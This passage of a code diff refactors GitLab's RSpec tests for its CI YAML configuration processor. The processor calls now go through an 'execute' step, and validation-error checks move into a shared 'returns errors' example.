command: ["/usr/local/bin/init", "run"] }, "docker:dind"],
script: "rspec" } })
- config_processor = Gitlab::Ci::YamlProcessor.new(config)
+ config_processor = Gitlab::Ci::YamlProcessor.new(config).execute
expect(config_processor.stage_builds_attributes("test").size).to eq(1)
expect(config_processor.stage_builds_attributes("test").first).to eq({
@@ -883,7 +865,7 @@ module Gitlab
before_script: ["pwd"],
rspec: { script: "rspec" } })
- config_processor = Gitlab::Ci::YamlProcessor.new(config)
+ config_processor = Gitlab::Ci::YamlProcessor.new(config).execute
expect(config_processor.stage_builds_attributes("test").size).to eq(1)
expect(config_processor.stage_builds_attributes("test").first).to eq({
@@ -910,7 +892,7 @@ module Gitlab
before_script: ["pwd"],
rspec: { image: "ruby:2.5", services: ["postgresql", "docker:dind"], script: "rspec" } })
- config_processor = Gitlab::Ci::YamlProcessor.new(config)
+ config_processor = Gitlab::Ci::YamlProcessor.new(config).execute
expect(config_processor.stage_builds_attributes("test").size).to eq(1)
expect(config_processor.stage_builds_attributes("test").first).to eq({
@@ -934,9 +916,9 @@ module Gitlab
end
describe 'Variables' do
- let(:config_processor) { Gitlab::Ci::YamlProcessor.new(YAML.dump(config)) }
+ subject { Gitlab::Ci::YamlProcessor.new(YAML.dump(config)).execute }
- subject { config_processor.builds.first[:yaml_variables] }
+ let(:build_variables) { subject.builds.first[:yaml_variables] }
context 'when global variables are defined' do
let(:variables) do
@@ -952,7 +934,7 @@ module Gitlab
end
it 'returns global variables' do
- expect(subject).to contain_exactly(
+ expect(build_variables).to contain_exactly(
{ key: 'VAR1', value: 'value1', public: true },
{ key: 'VAR2', value: 'value2', public: true }
)
@@ -980,7 +962,7 @@ module Gitlab
let(:inherit) { }
it 'returns all unique variables' do
- expect(subject).to contain_exactly(
+ expect(build_variables).to contain_exactly(
{ key: 'VAR4', value: 'global4', public: true },
{ key: 'VAR3', value: 'global3', public: true },
{ key: 'VAR1', value: 'value1', public: true },
@@ -993,7 +975,7 @@ module Gitlab
let(:inherit) { { variables: false } }
it 'does not inherit variables' do
- expect(subject).to contain_exactly(
+ expect(build_variables).to contain_exactly(
{ key: 'VAR1', value: 'value1', public: true },
{ key: 'VAR2', value: 'value2', public: true }
)
@@ -1004,7 +986,7 @@ module Gitlab
let(:inherit) { { variables: %w[VAR1 VAR4] } }
it 'returns all unique variables and inherits only specified variables' do
- expect(subject).to contain_exactly(
+ expect(build_variables).to contain_exactly(
{ key: 'VAR4', value: 'global4', public: true },
{ key: 'VAR1', value: 'value1', public: true },
{ key: 'VAR2', value: 'value2', public: true }
@@ -1027,7 +1009,7 @@ module Gitlab
end
it 'returns job variables' do
- expect(subject).to contain_exactly(
+ expect(build_variables).to contain_exactly(
{ key: 'VAR1', value: 'value1', public: true },
{ key: 'VAR2', value: 'value2', public: true }
)
@@ -1040,11 +1022,7 @@ module Gitlab
%w(VAR1 value1 VAR2 value2)
end
- it 'raises error' do
- expect { subject }
- .to raise_error(Gitlab::Ci::YamlProcessor::ValidationError,
- /jobs:rspec:variables config should be a hash of key value pairs/)
- end
+ it_behaves_like 'returns errors', /jobs:rspec:variables config should be a hash of key value pairs/
end
context 'when variables key defined but value not specified' do
@@ -1057,8 +1035,8 @@ module Gitlab
# When variables config is empty, we assume this is a valid
# configuration, see issue #18775
#
- expect(subject).to be_an_instance_of(Array)
- expect(subject).to be_empty
+ expect(build_variables).to be_an_instance_of(Array)
+ expect(build_variables).to be_empty
end
end
end
@@ -1073,14 +1051,14 @@ module Gitlab
end
it 'returns empty array' do
- expect(subject).to be_an_instance_of(Array)
- expect(subject).to be_empty
+ expect(build_variables).to be_an_instance_of(Array)
+ expect(build_variables).to be_empty
end
end
end
context 'when using `extends`' do
- let(:config_processor) { Gitlab::Ci::YamlProcessor.new(config) }
+ let(:config_processor) { Gitlab::Ci::YamlProcessor.new(config).execute }
subject { config_processor.builds.first }
@@ -1142,31 +1120,25 @@ module Gitlab
}
end
- subject { Gitlab::Ci::YamlProcessor.new(YAML.dump(config), opts) }
+ subject { Gitlab::Ci::YamlProcessor.new(YAML.dump(config), opts).execute }
context "when validating a ci config file with no project context" do
context "when a single string is provided" do
let(:include_content) { "/local.gitlab-ci.yml" }
- it "returns a validation error" do
- expect { subject }.to raise_error /does not have project/
- end
+ it_behaves_like 'returns errors', /does not have project/
end
context "when an array is provided" do
let(:include_content) { ["/local.gitlab-ci.yml"] }
- it "returns a validation error" do
- expect { subject }.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError, /does not have project/)
- end
+ it_behaves_like 'returns errors', /does not have project/
end
context "when an array of wrong keyed object is provided" do
let(:include_content) { [{ yolo: "/local.gitlab-ci.yml" }] }
- it "returns a validation error" do
- expect { subject }.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError)
- end
+ it_behaves_like 'returns errors', /needs to match exactly one accessor/
end
context "when an array of mixed typed objects is provided" do
@@ -1185,17 +1157,13 @@ module Gitlab
body: 'prepare: { script: ls -al }')
end
- it "does not return any error" do
- expect { subject }.not_to raise_error
- end
+ it { is_expected.to be_valid }
end
context "when the include type is incorrect" do
let(:include_content) { { name: "/local.gitlab-ci.yml" } }
- it "returns an invalid configuration error" do
- expect { subject }.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError)
- end
+ it_behaves_like 'returns errors', /needs to match exactly one accessor/
end
end
@@ -1210,18 +1178,11 @@ module Gitlab
.and_return(YAML.dump({ job1: { script: 'hello' } }))
end
- it "does not return an error" do
- expect { subject }.not_to raise_error
- end
+ it { is_expected.to be_valid }
end
context "when the included internal file is not present" do
- it "returns an error with missing file details" do
- expect { subject }.to raise_error(
- Gitlab::Ci::YamlProcessor::ValidationError,
- "Local file `#{include_content}` does not exist!"
- )
- end
+ it_behaves_like 'returns errors', "Local file `/local.gitlab-ci.yml` does not exist!"
end
end
end
@@ -1233,7 +1194,7 @@ module Gitlab
rspec: { script: 'rspec', when: when_state }
})
- config_processor = Gitlab::Ci::YamlProcessor.new(config)
+ config_processor = Gitlab::Ci::YamlProcessor.new(config).execute
builds = config_processor.stage_builds_attributes("test")
expect(builds.size).to eq(1)
@@ -1243,13 +1204,14 @@ module Gitlab
context 'delayed' do
context 'with start_in' do
- it 'creates one build and sets when:' do
- config = YAML.dump({
+ let(:config) do
+ YAML.dump({
rspec: { script: 'rspec', when: 'delayed', start_in: '1 hour' }
})
+ end
- config_processor = Gitlab::Ci::YamlProcessor.new(config)
- builds = config_processor.stage_builds_attributes("test")
+ it 'creates one build and sets when:' do
+ builds = subject.stage_builds_attributes("test")
expect(builds.size).to eq(1)
expect(builds.first[:when]).to eq('delayed')
@@ -1258,15 +1220,13 @@ module Gitlab
end
context 'without start_in' do
- it 'raises an error' do
- config = YAML.dump({
+ let(:config) do
+ YAML.dump({
rspec: { script: 'rspec', when: 'delayed' }
})
-
- expect do
- Gitlab::Ci::YamlProcessor.new(config)
- end.to raise_error(YamlProcessor::ValidationError, /start in should be a duration/)
end
+
+ it_behaves_like 'returns errors', /start in should be a duration/
end
end
end
@@ -1278,7 +1238,7 @@ module Gitlab
variables: { 'VAR1' => 1 } })
end
- let(:config_processor) { Gitlab::Ci::YamlProcessor.new(config) }
+ let(:config_processor) { Gitlab::Ci::YamlProcessor.new(config).execute }
let(:builds) { config_processor.stage_builds_attributes('test') }
context 'when job is parallelized' do
@@ -1377,16 +1337,13 @@ module Gitlab
describe 'cache' do
context 'when cache definition has unknown keys' do
- it 'raises relevant validation error' do
- config = YAML.dump(
+ let(:config) do
+ YAML.dump(
{ cache: { untracked: true, invalid: 'key' },
rspec: { script: 'rspec' } })
-
- expect { Gitlab::Ci::YamlProcessor.new(config) }.to raise_error(
- Gitlab::Ci::YamlProcessor::ValidationError,
- 'cache config contains unknown keys: invalid'
- )
end
+
+ it_behaves_like 'returns errors', 'cache config contains unknown keys: invalid'
end
it "returns cache when defined globally" do
@@ -1397,7 +1354,7 @@ module Gitlab
}
})
- config_processor = Gitlab::Ci::YamlProcessor.new(config)
+ config_processor = Gitlab::Ci::YamlProcessor.new(config).execute
expect(config_processor.stage_builds_attributes("test").size).to eq(1)
expect(config_processor.stage_builds_attributes("test").first[:cache]).to eq(
@@ -1419,7 +1376,7 @@ module Gitlab
}
})
- config_processor = Gitlab::Ci::YamlProcessor.new(config)
+ config_processor = Gitlab::Ci::YamlProcessor.new(config).execute
expect(config_processor.stage_builds_attributes("test").size).to eq(1)
expect(config_processor.stage_builds_attributes("test").first[:cache]).to eq(
@@ -1438,7 +1395,7 @@ module Gitlab
}
})
- config_processor = Gitlab::Ci::YamlProcessor.new(config)
+ config_processor = Gitlab::Ci::YamlProcessor.new(config).execute
expect(config_processor.stage_builds_attributes('test').size).to eq(1)
expect(config_processor.stage_builds_attributes('test').first[:cache]).to eq(
@@ -1461,7 +1418,7 @@ module Gitlab
}
)
- config_processor = Gitlab::Ci::YamlProcessor.new(config)
+ config_processor = Gitlab::Ci::YamlProcessor.new(config).execute
expect(config_processor.stage_builds_attributes('test').size).to eq(1)
expect(config_processor.stage_builds_attributes('test').first[:cache]).to eq(
@@ -1484,7 +1441,7 @@ module Gitlab
}
)
- config_processor = Gitlab::Ci::YamlProcessor.new(config)
+ config_processor = Gitlab::Ci::YamlProcessor.new(config).execute
expect(config_processor.stage_builds_attributes('test').size).to eq(1)
expect(config_processor.stage_builds_attributes('test').first[:cache]).to eq(
@@ -1504,7 +1461,7 @@ module Gitlab
}
})
- config_processor = Gitlab::Ci::YamlProcessor.new(config)
+ config_processor = Gitlab::Ci::YamlProcessor.new(config).execute
expect(config_processor.stage_builds_attributes("test").size).to eq(1)
expect(config_processor.stage_builds_attributes("test").first[:cache]).to eq(
@@ -1534,7 +1491,7 @@ module Gitlab
}
})
- config_processor = Gitlab::Ci::YamlProcessor.new(config)
+ config_processor = Gitlab::Ci::YamlProcessor.new(config).execute
expect(config_processor.stage_builds_attributes("test").size).to eq(1)
expect(config_processor.stage_builds_attributes("test").first).to eq({
@@ -1570,7 +1527,7 @@ module Gitlab
}
})
- config_processor = Gitlab::Ci::YamlProcessor.new(config)
+ config_processor = Gitlab::Ci::YamlProcessor.new(config).execute
builds = config_processor.stage_builds_attributes("test")
expect(builds.size).to eq(1)
@@ -1586,7 +1543,7 @@ module Gitlab
}
})
- config_processor = Gitlab::Ci::YamlProcessor.new(config)
+ config_processor = Gitlab::Ci::YamlProcessor.new(config).execute
builds = config_processor.stage_builds_attributes("test")
expect(builds.size).to eq(1)
@@ -1594,17 +1551,19 @@ module Gitlab
end
end
- it "gracefully handles errors in artifacts type" do
- config = <<~YAML
- test:
- script:
- - echo "Hello world"
- artifacts:
- - paths:
- - test/
- YAML
+ context 'when artifacts syntax is wrong' do
+ let(:config) do
+ <<~YAML
+ test:
+ script:
+ - echo "Hello world"
+ artifacts:
+ - paths:
+ - test/
+ YAML
+ end
- expect { described_class.new(config) }.to raise_error(described_class::ValidationError)
+ it_behaves_like 'returns errors', 'jobs:test:artifacts config should be a hash'
end
it 'populates a build options with complete artifacts configuration' do
@@ -1620,14 +1579,14 @@ module Gitlab
- my/test/something
YAML
- attributes = Gitlab::Ci::YamlProcessor.new(config).build_attributes('test')
+ attributes = Gitlab::Ci::YamlProcessor.new(config).execute.build_attributes('test')
expect(attributes.dig(*%i[options artifacts exclude])).to eq(%w[my/test/something])
end
end
describe "release" do
- let(:processor) { Gitlab::Ci::YamlProcessor.new(YAML.dump(config)) }
+ let(:processor) { Gitlab::Ci::YamlProcessor.new(YAML.dump(config)).execute }
let(:config) do
{
stages: %w[build test release],
@@ -1672,8 +1631,9 @@ module Gitlab
}
end
- let(:processor) { Gitlab::Ci::YamlProcessor.new(YAML.dump(config)) }
- let(:builds) { processor.stage_builds_attributes('deploy') }
+ subject { Gitlab::Ci::YamlProcessor.new(YAML.dump(config)).execute }
+
+ let(:builds) { subject.stage_builds_attributes('deploy') }
context 'when a production environment is specified' do
let(:environment) { 'production' }
@@ -1723,18 +1683,13 @@ module Gitlab
context 'is not a string' do
let(:environment) { 1 }
- it 'raises error' do
- expect { builds }.to raise_error(
- 'jobs:deploy_to_production:environment config should be a hash or a string')
- end
+ it_behaves_like 'returns errors', 'jobs:deploy_to_production:environment config should be a hash or a string'
end
context 'is not a valid string' do
let(:environment) { 'production:staging' }
- it 'raises error' do
- expect { builds }.to raise_error("jobs:deploy_to_production:environment name #{Gitlab::Regex.environment_name_regex_message}")
- end
+ it_behaves_like 'returns errors', "jobs:deploy_to_production:environment name #{Gitlab::Regex.environment_name_regex_message}"
end
context 'when on_stop is specified' do
@@ -1753,33 +1708,25 @@ module Gitlab
context 'without matching job' do
let(:close_review) { nil }
- it 'raises error' do
- expect { builds }.to raise_error('review job: on_stop job close_review is not defined')
- end
+ it_behaves_like 'returns errors', 'review job: on_stop job close_review is not defined'
end
context 'with close job without environment' do
let(:close_review) { { stage: 'deploy', script: 'test' } }
- it 'raises error' do
- expect { builds }.to raise_error('review job: on_stop job close_review does not have environment defined')
- end
+ it_behaves_like 'returns errors', 'review job: on_stop job close_review does not have environment defined'
end
context 'with close job for different environment' do
let(:close_review) { { stage: 'deploy', script: 'test', environment: 'production' } }
- it 'raises error' do
- expect { builds }.to raise_error('review job: on_stop job close_review have different environment name')
- end
+ it_behaves_like 'returns errors', 'review job: on_stop job close_review have different environment name'
end
context 'with close job without stop action' do
let(:close_review) { { stage: 'deploy', script: 'test', environment: { name: 'review' } } }
- it 'raises error' do
- expect { builds }.to raise_error('review job: on_stop job close_review needs to have action stop defined')
- end
+ it_behaves_like 'returns errors', 'review job: on_stop job close_review needs to have action stop defined'
end
end
end
@@ -1794,8 +1741,9 @@ module Gitlab
}
end
- let(:processor) { Gitlab::Ci::YamlProcessor.new(YAML.dump(config)) }
- let(:builds) { processor.stage_builds_attributes('deploy') }
+ subject { Gitlab::Ci::YamlProcessor.new(YAML.dump(config)).execute }
+
+ let(:builds) { subject.stage_builds_attributes('deploy') }
context 'when no timeout was provided' do
it 'does not include job_timeout' do
@@ -1809,9 +1757,7 @@ module Gitlab
config[:deploy_to_production][:timeout] = 'not-a-number'
end
- it 'raises an error for invalid number' do
- expect { builds }.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError, 'jobs:deploy_to_production:timeout config should be a duration')
- end
+ it_behaves_like 'returns errors', 'jobs:deploy_to_production:timeout config should be a duration'
end
context 'when some valid timeout was provided' do
@@ -1837,36 +1783,36 @@ module Gitlab
}
end
- subject { Gitlab::Ci::YamlProcessor.new(YAML.dump(config)) }
+ subject { Gitlab::Ci::YamlProcessor.new(YAML.dump(config)).execute }
context 'no dependencies' do
let(:dependencies) { }
- it { expect { subject }.not_to raise_error }
+ it { is_expected.to be_valid }
end
context 'dependencies to builds' do
let(:dependencies) { %w(build1 build2) }
- it { expect { subject }.not_to raise_error }
+ it { is_expected.to be_valid }
end
context 'dependencies to builds defined as symbols' do
let(:dependencies) { [:build1, :build2] }
- it { expect { subject }.not_to raise_error }
+ it { is_expected.to be_valid }
end
context 'undefined dependency' do
let(:dependencies) { ['undefined'] }
- it { expect { subject }.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError, 'test1 job: undefined dependency: undefined') }
+ it_behaves_like 'returns errors', 'test1 job: undefined dependency: undefined'
end
context 'dependencies to deploy' do
let(:dependencies) { ['deploy'] }
- it { expect { subject }.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError, 'test1 job: dependency deploy is not defined in prior stages') }
+ it_behaves_like 'returns errors', 'test1 job: dependency deploy is not defined in prior stages'
end
context 'when a job depends on another job that references a not-yet defined stage' do
@@ -1891,7 +1837,7 @@ module Gitlab
}
end
- it { expect { subject }.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError, /is not defined in prior stages/) }
+ it_behaves_like 'returns errors', /is not defined in prior stages/
end
end
@@ -1910,10 +1856,10 @@ module Gitlab
}
end
- subject { Gitlab::Ci::YamlProcessor.new(YAML.dump(config)) }
+ subject { Gitlab::Ci::YamlProcessor.new(YAML.dump(config)).execute }
context 'no needs' do
- it { expect { subject }.not_to raise_error }
+ it { is_expected.to be_valid }
end
context 'needs two builds' do
@@ -2053,20 +1999,20 @@ module Gitlab
context 'undefined need' do
let(:needs) { ['undefined'] }
- it { expect { subject }.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError, 'test1 job: undefined need: undefined') }
+ it_behaves_like 'returns errors', 'test1 job: undefined need: undefined'
end
context 'needs to deploy' do
let(:needs) { ['deploy'] }
- it { expect { subject }.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError, 'test1 job: need deploy is not defined in prior stages') }
+ it_behaves_like 'returns errors', 'test1 job: need deploy is not defined in prior stages'
end
context 'needs and dependencies that are mismatching' do
let(:needs) { %w(build1) }
let(:dependencies) { %w(build2) }
- it { expect { subject }.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError, 'jobs:test1 dependencies the build2 should be part of needs') }
+ it_behaves_like 'returns errors', 'jobs:test1 dependencies the build2 should be part of needs'
end
context 'needs with a Hash type and dependencies with a string type that are mismatching' do
@@ -2079,33 +2025,33 @@ module Gitlab
let(:dependencies) { %w(build3) }
- it { expect { subject }.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError, 'jobs:test1 dependencies the build3 should be part of needs') }
+ it_behaves_like 'returns errors', 'jobs:test1 dependencies the build3 should be part of needs'
end
context 'needs with an array type and dependency with a string type' do
let(:needs) { %w(build1) }
let(:dependencies) { 'deploy' }
- it { expect { subject }.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError, 'jobs:test1 dependencies should be an array of strings') }
+ it_behaves_like 'returns errors', 'jobs:test1 dependencies should be an array of strings'
end
context 'needs with a string type and dependency with an array type' do
let(:needs) { 'build1' }
let(:dependencies) { %w(deploy) }
- it { expect { subject }.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError, 'jobs:test1:needs config can only be a hash or an array') }
+ it_behaves_like 'returns errors', 'jobs:test1:needs config can only be a hash or an array'
end
context 'needs with a Hash type and dependency with a string type' do
let(:needs) { { job: 'build1' } }
let(:dependencies) { 'deploy' }
- it { expect { subject }.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError, 'jobs:test1 dependencies should be an array of strings') }
+ it_behaves_like 'returns errors', 'jobs:test1 dependencies should be an array of strings'
end
end
context 'with when/rules conflict' do
- subject { Gitlab::Ci::YamlProcessor.new(YAML.dump(config)) }
+ subject { Gitlab::Ci::YamlProcessor.new(YAML.dump(config)).execute }
let(:config) do
{
@@ -2121,9 +2067,7 @@ module Gitlab
}
end
- it 'raises no exceptions' do
- expect { subject }.not_to raise_error
- end
+ it { is_expected.to be_valid }
it 'returns all jobs regardless of their inclusion' do
expect(subject.builds.count).to eq(config.keys.count)
@@ -2141,9 +2085,7 @@ module Gitlab
}
end
- it 'raises a ValidationError' do
- expect { subject }.to raise_error(YamlProcessor::ValidationError, /may not be used with `rules`: when/)
- end
+ it_behaves_like 'returns errors', /may not be used with `rules`: when/
end
context 'used with job-level when:delayed' do
@@ -2159,14 +2101,12 @@ module Gitlab
}
end
- it 'raises a ValidationError' do
- expect { subject }.to raise_error(YamlProcessor::ValidationError, /may not be used with `rules`: when, start_in/)
- end
+ it_behaves_like 'returns errors', /may not be used with `rules`: when, start_in/
end
end
describe "Hidden jobs" do
- let(:config_processor) { Gitlab::Ci::YamlProcessor.new(config) }
+ let(:config_processor) { Gitlab::Ci::YamlProcessor.new(config).execute }
subject { config_processor.stage_builds_attributes("test") }
@@ -2213,7 +2153,7 @@ module Gitlab
end
describe "YAML Alias/Anchor" do
- let(:config_processor) { Gitlab::Ci::YamlProcessor.new(config) }
+ let(:config_processor) { Gitlab::Ci::YamlProcessor.new(config).execute }
subject { config_processor.stage_builds_attributes("build") }
@@ -2310,7 +2250,7 @@ module Gitlab
})
end
- it { expect { subject }.not_to raise_error }
+ it { is_expected.to be_valid }
end
context 'when job is not specified specified while artifact is' do
@@ -2323,11 +2263,7 @@ module Gitlab
})
end
- it do
- expect { subject }.to raise_error(
- described_class::ValidationError,
- /include config must specify the job where to fetch the artifact from/)
- end
+ it_behaves_like 'returns errors', /include config must specify the job where to fetch the artifact from/
end
context 'when include is a string' do
@@ -2343,376 +2279,323 @@ module Gitlab
})
end
- it { expect { subject }.not_to raise_error }
+ it { is_expected.to be_valid }
end
end
describe "Error handling" do
- it "fails to parse YAML" do
- expect do
- Gitlab::Ci::YamlProcessor.new("invalid: yaml: test")
- end.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError)
+ subject { described_class.new(config).execute }
+
+ context 'when YAML syntax is invalid' do
+ let(:config) { 'invalid: yaml: test' }
+
+ it_behaves_like 'returns errors', /mapping values are not allowed/
end
- it "indicates that object is invalid" do
- expect do
- Gitlab::Ci::YamlProcessor.new("invalid_yaml")
- end.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError)
+ context 'when object is invalid' do
+ let(:config) { 'invalid_yaml' }
+
+ it_behaves_like 'returns errors', /Invalid configuration format/
end
- it "returns errors if tags parameter is invalid" do
- config = YAML.dump({ rspec: { script: "test", tags: "mysql" } })
- expect do
- Gitlab::Ci::YamlProcessor.new(config)
- end.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError, "jobs:rspec:tags config should be an array of strings")
+ context 'returns errors if tags parameter is invalid' do
+ let(:config) { YAML.dump({ rspec: { script: "test", tags: "mysql" } }) }
+
+ it_behaves_like 'returns errors', 'jobs:rspec:tags config should be an array of strings'
end
- it "returns errors if before_script parameter is invalid" do
- config = YAML.dump({ before_script: "bundle update", rspec: { script: "test" } })
- expect do
- Gitlab::Ci::YamlProcessor.new(config)
- end.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError, "before_script config should be an array containing strings and arrays of strings")
+ context 'returns errors if before_script parameter is invalid' do
+ let(:config) { YAML.dump({ before_script: "bundle update", rspec: { script: "test" } }) }
+
+ it_behaves_like 'returns errors', 'before_script config should be an array containing strings and arrays of strings'
end
- it "returns errors if job before_script parameter is not an array of strings" do
- config = YAML.dump({ rspec: { script: "test", before_script: [10, "test"] } })
- expect do
- Gitlab::Ci::YamlProcessor.new(config)
- end.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError, "jobs:rspec:before_script config should be an array containing strings and arrays of strings")
+ context 'returns errors if job before_script parameter is not an array of strings' do
+ let(:config) { YAML.dump({ rspec: { script: "test", before_script: [10, "test"] } }) }
+
+ it_behaves_like 'returns errors', 'jobs:rspec:before_script config should be an array containing strings and arrays of strings'
end
- it "returns errors if job before_script parameter is multi-level nested array of strings" do
- config = YAML.dump({ rspec: { script: "test", before_script: [["ls", ["pwd"]], "test"] } })
- expect do
- Gitlab::Ci::YamlProcessor.new(config)
- end.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError, "jobs:rspec:before_script config should be an array containing strings and arrays of strings")
+ context 'returns errors if job before_script parameter is multi-level nested array of strings' do
+ let(:config) { YAML.dump({ rspec: { script: "test", before_script: [["ls", ["pwd"]], "test"] } }) }
+
+ it_behaves_like 'returns errors', 'jobs:rspec:before_script config should be an array containing strings and arrays of strings'
end
- it "returns errors if after_script parameter is invalid" do
- config = YAML.dump({ after_script: "bundle update", rspec: { script: "test" } })
- expect do
- Gitlab::Ci::YamlProcessor.new(config)
- end.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError, "after_script config should be an array containing strings and arrays of strings")
+ context 'returns errors if after_script parameter is invalid' do
+ let(:config) { YAML.dump({ after_script: "bundle update", rspec: { script: "test" } }) }
+
+ it_behaves_like 'returns errors', 'after_script config should be an array containing strings and arrays of strings'
end
- it "returns errors if job after_script parameter is not an array of strings" do
- config = YAML.dump({ rspec: { script: "test", after_script: [10, "test"] } })
- expect do
- Gitlab::Ci::YamlProcessor.new(config)
- end.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError, "jobs:rspec:after_script config should be an array containing strings and arrays of strings")
+ context 'returns errors if job after_script parameter is not an array of strings' do
+ let(:config) { YAML.dump({ rspec: { script: "test", after_script: [10, "test"] } }) }
+
+ it_behaves_like 'returns errors', 'jobs:rspec:after_script config should be an array containing strings and arrays of strings'
end
- it "returns errors if job after_script parameter is multi-level nested array of strings" do
- config = YAML.dump({ rspec: { script: "test", after_script: [["ls", ["pwd"]], "test"] } })
- expect do
- Gitlab::Ci::YamlProcessor.new(config)
- end.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError, "jobs:rspec:after_script config should be an array containing strings and arrays of strings")
+ context 'returns errors if job after_script parameter is multi-level nested array of strings' do
+ let(:config) { YAML.dump({ rspec: { script: "test", after_script: [["ls", ["pwd"]], "test"] } }) }
+
+ it_behaves_like 'returns errors', 'jobs:rspec:after_script config should be an array containing strings and arrays of strings'
end
- it "returns errors if image parameter is invalid" do
- config = YAML.dump({ image: ["test"], rspec: { script: "test" } })
- expect do
- Gitlab::Ci::YamlProcessor.new(config)
- end.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError, "image config should be a hash or a string")
+ context 'returns errors if image parameter is invalid' do
+ let(:config) { YAML.dump({ image: ["test"], rspec: { script: "test" } }) }
+
+ it_behaves_like 'returns errors', 'image config should be a hash or a string'
end
- it "returns errors if job name is blank" do
- config = YAML.dump({ '' => { script: "test" } })
- expect do
- Gitlab::Ci::YamlProcessor.new(config)
- end.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError, "jobs:job name can't be blank")
+ context 'returns errors if job name is blank' do
+ let(:config) { YAML.dump({ '' => { script: "test" } }) }
+
+ it_behaves_like 'returns errors', "jobs:job name can't be blank"
end
- it "returns errors if job name is non-string" do
- config = YAML.dump({ 10 => { script: "test" } })
- expect do
- Gitlab::Ci::YamlProcessor.new(config)
- end.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError, "jobs:10 name should be a symbol")
+ context 'returns errors if job name is non-string' do
+ let(:config) { YAML.dump({ 10 => { script: "test" } }) }
+
+ it_behaves_like 'returns errors', 'jobs:10 name should be a symbol'
end
- it "returns errors if job image parameter is invalid" do
- config = YAML.dump({ rspec: { script: "test", image: ["test"] } })
- expect do
- Gitlab::Ci::YamlProcessor.new(config)
- end.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError, "jobs:rspec:image config should be a hash or a string")
+ context 'returns errors if job image parameter is invalid' do
+ let(:config) { YAML.dump({ rspec: { script: "test", image: ["test"] } }) }
+
+ it_behaves_like 'returns errors', 'jobs:rspec:image config should be a hash or a string'
end
- it "returns errors if services parameter is not an array" do
- config = YAML.dump({ services: "test", rspec: { script: "test" } })
- expect do
- Gitlab::Ci::YamlProcessor.new(config)
- end.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError, "services config should be a array")
+ context 'returns errors if services parameter is not an array' do
+ let(:config) { YAML.dump({ services: "test", rspec: { script: "test" } }) }
+
+ it_behaves_like 'returns errors', 'services config should be a array'
end
- it "returns errors if services parameter is not an array of strings" do
- config = YAML.dump({ services: [10, "test"], rspec: { script: "test" } })
- expect do
- Gitlab::Ci::YamlProcessor.new(config)
- end.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError, "services:service config should be a hash or a string")
+ context 'returns errors if services parameter is not an array of strings' do
+ let(:config) { YAML.dump({ services: [10, "test"], rspec: { script: "test" } }) }
+
+ it_behaves_like 'returns errors', 'services:service config should be a hash or a string'
end
- it "returns errors if job services parameter is not an array" do
- config = YAML.dump({ rspec: { script: "test", services: "test" } })
- expect do
- Gitlab::Ci::YamlProcessor.new(config)
- end.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError, "jobs:rspec:services config should be a array")
+ context 'returns errors if job services parameter is not an array' do
+ let(:config) { YAML.dump({ rspec: { script: "test", services: "test" } }) }
+
+ it_behaves_like 'returns errors', 'jobs:rspec:services config should be a array'
end
- it "returns errors if job services parameter is not an array of strings" do
- config = YAML.dump({ rspec: { script: "test", services: [10, "test"] } })
- expect do
- Gitlab::Ci::YamlProcessor.new(config)
- end.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError, "jobs:rspec:services:service config should be a hash or a string")
+ context 'returns errors if job services parameter is not an array of strings' do
+ let(:config) { YAML.dump({ rspec: { script: "test", services: [10, "test"] } }) }
+
+ it_behaves_like 'returns errors', 'jobs:rspec:services:service config should be a hash or a string'
end
- it "returns error if job configuration is invalid" do
- config = YAML.dump({ extra: "bundle update" })
- expect do
- Gitlab::Ci::YamlProcessor.new(config)
- end.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError, "root config contains unknown keys: extra")
+ context 'returns error if job configuration is invalid' do
+ let(:config) { YAML.dump({ extra: "bundle update" }) }
+
+ it_behaves_like 'returns errors', 'jobs extra config should implement a script: or a trigger: keyword'
end
- it "returns errors if services configuration is not correct" do
- config = YAML.dump({ extra: { script: 'rspec', services: "test" } })
- expect do
- Gitlab::Ci::YamlProcessor.new(config)
- end.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError, "jobs:extra:services config should be a array")
+ context 'returns errors if services configuration is not correct' do
+ let(:config) { YAML.dump({ extra: { script: 'rspec', services: "test" } }) }
+
+ it_behaves_like 'returns errors', 'jobs:extra:services config should be a array'
end
- it "returns errors if there are no jobs defined" do
- config = YAML.dump({ before_script: ["bundle update"] })
- expect do
- Gitlab::Ci::YamlProcessor.new(config)
- end.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError, "jobs config should contain at least one visible job")
+ context 'returns errors if there are no jobs defined' do
+ let(:config) { YAML.dump({ before_script: ["bundle update"] }) }
+
+ it_behaves_like 'returns errors', 'jobs config should contain at least one visible job'
end
- it "returns errors if the job script is not defined" do
- config = YAML.dump({ rspec: { before_script: "test" } })
+ context 'returns errors if the job script is not defined' do
+ let(:config) { YAML.dump({ rspec: { before_script: "test" } }) }
- expect do
- Gitlab::Ci::YamlProcessor.new(config)
